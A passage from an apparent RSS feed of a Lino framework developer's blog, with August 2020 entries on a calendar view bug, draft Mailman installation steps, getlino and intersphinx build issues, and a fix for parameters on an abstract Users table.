&lt;span class="s2"&gt;&amp;quot;detail&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;onMain&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;rp&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;weak-key-17&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;sr&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;base_params&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;param_values&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;assigned_to&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;assigned_toHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;event_type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;event_typeHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;room&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;roomHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;show_appointments&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;show_appointmentsHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;state&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;stateHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;user&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;userHidden&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;record_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Yes, there was a bug in the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.calview.CalendarView.navigation_panel&lt;/span&gt;&lt;/code&gt; virtual field.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The slave title says “None in Week 50 / 2019 (09 December)”:&lt;/p&gt;
&lt;p&gt;It is about &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;calview.WeeklySlave&lt;/span&gt;&lt;/code&gt;. We explicitly say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@classmethod&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_actor_label&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Having both label and title of an actor None should hide the panel’s header
altogether. I think that I implemented this new rule in extjs and not yet in
react. But I didn’t yet find it in extjs…&lt;/p&gt;
&lt;p&gt;As a workaround, I now say &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;title&lt;/span&gt; &lt;span class="pre"&gt;=&lt;/span&gt; &lt;span class="pre"&gt;_(&amp;quot;Planner&amp;quot;)&lt;/span&gt;&lt;/code&gt; in
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;calview.WeeklySlave&lt;/span&gt;&lt;/code&gt;. and the slave
title now says “Planner in Week 50 / 2019 (09 December)”. Seems to look okay
in both front ends.&lt;/p&gt;
&lt;a class="reference internal image-reference" href="../../_images/calview_weekly_react.png"&gt;&lt;img alt="../../_images/calview_weekly_react.png" src="../../_images/calview_weekly_react.png" style="width: 45%;" /&gt;
&lt;/a&gt;
&lt;a class="reference internal image-reference" href="../../_images/calview_weekly_extjs.png"&gt;&lt;img alt="../../_images/calview_weekly_extjs.png" src="../../_images/calview_weekly_extjs.png" style="width: 45%;" /&gt;
&lt;/a&gt;
&lt;p&gt;But in extjs the title continues to be hidden. TODO:
explain why and make the behaviours consistent.&lt;/p&gt;
&lt;p&gt;We had a session with Tonis and explored the problem of the column sizing. It
has to do with a kind of “threshold” where react decides that “there is not
enough horizontal space, so I give up to try to fit the table into the screen”.
That threshold is a good thing, but it seems to be set too low here. In the
Organizations table it works reasonably well.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0828.html</guid><pubDate>Fri, 28 Aug 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, August 27, 2020</title><link>https://luc.lino-framework.org/blog/2020/0827.html</link><description>&lt;section id="thursday-august-27-2020"&gt;
&lt;h1&gt;Thursday, August 27, 2020&lt;a class="headerlink" href="#thursday-august-27-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="how-to-set-up-a-mailman-server"&gt;
&lt;h2&gt;How to set up a mailman server&lt;a class="headerlink" href="#how-to-set-up-a-mailman-server" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I tried to get the mailman suite installed “the Lino way” from the gitlab clone.&lt;/p&gt;
&lt;p&gt;The mailman suite is like any other Lino site, except that the
&lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file is copied from &lt;a class="reference external" href="https://gitlab.com/mailman/mailman-suite"&gt;https://gitlab.com/mailman/mailman-suite&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Not yet finished. Draft installation instructions:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt install postgresql
$ mkdir /usr/local/lino/lino_local/mailman
$ cd $_
$ virtualenv -p python3 env
$ a
$ mkdir env/repositories
$ cd $_
$ git clone https://gitlab.com/mailman/mailman.git
$ pip install -e mailman/
$ go mailman

$ cp /opt/mailman/mailman-suite/mailman-suite_project/settings.py .
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Install Python wrappers for using the PostgreSQL database, memcached and the
Whoosh backend for HyperKitty archive search:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip install psycopg2-binary pylibmc Whoosh
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/mailman/mailman-suite"&gt;https://gitlab.com/mailman/mailman-suite&lt;/a&gt; : Files for setting up the whole
Mailman Suite with integrated Mailman Core beside Hyperkitty and Postorius
running in a single django instance.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://wiki.list.org/DOC/Mailman%203%20installation%20experience"&gt;https://wiki.list.org/DOC/Mailman%203%20installation%20experience&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I reviewed the docs in &lt;a class="reference external" href="https://hosting.lino-framework.org/mail/mailman/#admin-mailman" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Using Mailman&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="optimizations-in-getlino"&gt;
&lt;h2&gt;Optimizations in getlino&lt;a class="headerlink" href="#optimizations-in-getlino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I added some new features to getlino in order to use it for installing a mailman
site:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; has now the database options (db-engine, db-user etc)
so that you can override them per site without needing to run getlino
configure.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Added a new choice &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.projects.std.html#module-lino.projects.std" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.projects.std&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;KNOWN_REPOS&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The getlino test suite said quite often:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;bash&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;setlocale&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;LC_ALL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="n"&gt;change&lt;/span&gt; &lt;span class="n"&gt;locale&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;en_US&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UTF&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Seems that simply installing &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;locales-all&lt;/span&gt;&lt;/code&gt; fixed this.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="about-intersphinx-urls"&gt;
&lt;h2&gt;About &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/config.html#envvar-intersphinx_urls" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;intersphinx_urls&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;a class="headerlink" href="#about-intersphinx-urls" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The test suite itself (&lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-test" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) passes on travis, but the build then
fails during &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. That’s because some days ago I had the
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.travis.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.travis.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; also install  &lt;a class="reference external" href="https://dev.lino-framework.org/api/index.html#module-lino_book" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, which is required to
building the getlino docs just in order to get the intersphinx url. Now it turns
out that &lt;a class="reference external" href="https://dev.lino-framework.org/api/index.html#module-lino_book" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fails to install because swig is not installed.  OMG!
I almost decided to remove &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; from the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.travis.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.travis.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; script
and declare that building the docs, for getlino, is not a requirement. But maybe
another solution is to simply hard-code the URL of the book in the
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/sphinx/intro.html#xfile-conf.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;conf.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file of the getlino docs:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;intersphinx_mapping&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;book&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://www.lino-framework.org/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This has at least two disadvantages:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;I won’t be able to build the getlino docs when I am offline.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The intersphinx url is now stored in two different places.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But these disadvantage anyway show that storing the &lt;span class="target" id="index-1"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/config.html#envvar-intersphinx_urls" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;intersphinx_urls&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
in the main package isn’t such a good idea. Another limitation of the current
&lt;span class="target" id="index-2"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/config.html#envvar-intersphinx_urls" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;intersphinx_urls&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; system is that it doesn’t work for the &lt;a class="reference external" href="https://community.lino-framework.org/index.html#cg" title="(in Lino Community Guide)"&gt;&lt;span class="xref std std-ref"&gt;cg&lt;/span&gt;&lt;/a&gt;
doctree (because the cg repository has no python package).&lt;/p&gt;
&lt;p&gt;Is there a way to get the public metadata about a python package (basically the
data given in the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-setup.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file) &lt;em&gt;without&lt;/em&gt; actually installing the
package?  Couldn’t find anything.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0827.html</guid><pubDate>Thu, 27 Aug 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, August 25, 2020</title><link>https://luc.lino-framework.org/blog/2020/0825.html</link><description>&lt;section id="tuesday-august-25-2020"&gt;
&lt;h1&gt;Tuesday, August 25, 2020&lt;a class="headerlink" href="#tuesday-august-25-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3765"&gt;#3765&lt;/a&gt; and did some changes in &lt;a class="reference external" href="https://hosting.lino-framework.org/backup/#hosting-backup" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;How to set up a backup server for snapshots&lt;/span&gt;&lt;/a&gt;  and
&lt;a class="reference external" href="https://hosting.lino-framework.org/mirror/#hosting-mirror" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Mirroring a Lino site&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I tried the &lt;a class="reference external" href="https://insipid-sphinx-theme.readthedocs.io/en/0.1.1/"&gt;insipid&lt;/a&gt; Sphinx theme. Looks
even nicer than RTD.
I switched the &lt;a class="reference internal" href="../../about/sites.html#hw"&gt;&lt;span class="std std-ref"&gt;Human World project&lt;/span&gt;&lt;/a&gt; to it.&lt;/p&gt;
&lt;section id="nonetype-object-has-no-attribute-get-layout-handle"&gt;
&lt;h2&gt;‘NoneType’ object has no attribute ‘get_layout_handle’&lt;a class="headerlink" href="#nonetype-object-has-no-attribute-get-layout-handle" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3766"&gt;#3766&lt;/a&gt;. This was a quite blocking bug: it was not possible to
edit any combobox field in the &lt;span class="guilabel"&gt;My Settings&lt;/span&gt; form. The issue occurred
only here because &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.Users" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Users&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is abstract and nevertheless has parameters
defined. I added test cases to cover this in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#specs-users" title="(in Lino Developer Guide)"&gt;&lt;span&gt;users : user management&lt;/span&gt;&lt;/a&gt; and
&lt;a class="reference external" href="https://welfare.lino-framework.org/specs/reception/index.html#welfare-specs-reception" title="(in Lino Welfare)"&gt;&lt;span&gt;reception : receive clients at a reception desk&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There is an internal rule that when &lt;cite&gt;parameters&lt;/cite&gt; is None, &lt;cite&gt;params_layout&lt;/cite&gt; is
also &lt;cite&gt;None&lt;/cite&gt; and no functionality related to parameters is used. This rule was
not satisfied here. It is not satisfied because &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.Users" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Users&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is abstract.
Interesting to note that the Ajax call requests &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;/Users/&lt;/span&gt;&lt;/code&gt;, not &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;/AllUsers/&lt;/span&gt;&lt;/code&gt;
or &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;/MySettings/&lt;/span&gt;&lt;/code&gt; or some other non-abstract table name. That’s because none
of the non-abstract subclasses of &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.Users" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Users&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; adds anything to the question
“which choices do we have for field &lt;a class="reference external" href="https://dev.lino-framework.org/specs/coachings.html#lino.modlib.users.User.coaching_type" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;User.coaching_type&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;?”. That’s why all
fields use the same Ajax call. The problem occurred also for
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.User.partner" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;User.partner&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; or &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.User.user_type" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;User.user_type&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_welfare.projects.gerd.settings.doctests&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;lh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AllUsers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_detail_layout&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;lh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;layout&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_datasource&lt;/span&gt;
&lt;span class="go"&gt;lino.modlib.users.desktop.Users&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;lh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_data_elem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;coaching_type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;django.db.models.fields.related.ForeignKey: coaching_type&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;show_choices&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;romain&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/choices/users/Users/coaching_type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;br/&amp;gt;&lt;/span&gt;
&lt;span class="go"&gt;SSG&lt;/span&gt;
&lt;span class="go"&gt;SI&lt;/span&gt;
&lt;span class="go"&gt;Médiation de dettes&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Internal side effect: Lino now supports action requests on an abstract actor.
Such requests are of course limited, but we need them e.g. in above case.&lt;/p&gt;
&lt;p&gt;I did not remove the exception “has a params_layout but no parameters” e.g.
ledger.ByJournal is just a mixin but provides a default value for its children&lt;/p&gt;
&lt;p&gt;Note also the special case &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.ByJournal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.ByJournal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. This is a
table mixin. It is not explicitly marked as abstract by the application
developer. That’s okay because a data table is automatically considered abstract
when it has no model.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="make-lino-applications-use-django-the-user-model"&gt;
&lt;h2&gt;Make Lino applications use Django the user model&lt;a class="headerlink" href="#make-lino-applications-use-django-the-user-model" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Until now I was still assuming that “Django’s approach provides no means for
defining instance-specific permissions.”  I now saw that this is no longer true.
So think once more about whether we should support Lino applications that use
the standard &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;django.contrib.auth&lt;/span&gt;&lt;/code&gt; plugin instead of
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.users.html#module-lino.modlib.users" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.users&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. The main obstacle is the fundamentally different
permission system.  But there is a solution for it. Probably even several
solutions. One of them would be to add an attribute
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actions.Action.required_permissions&lt;/span&gt;&lt;/code&gt; and to have the
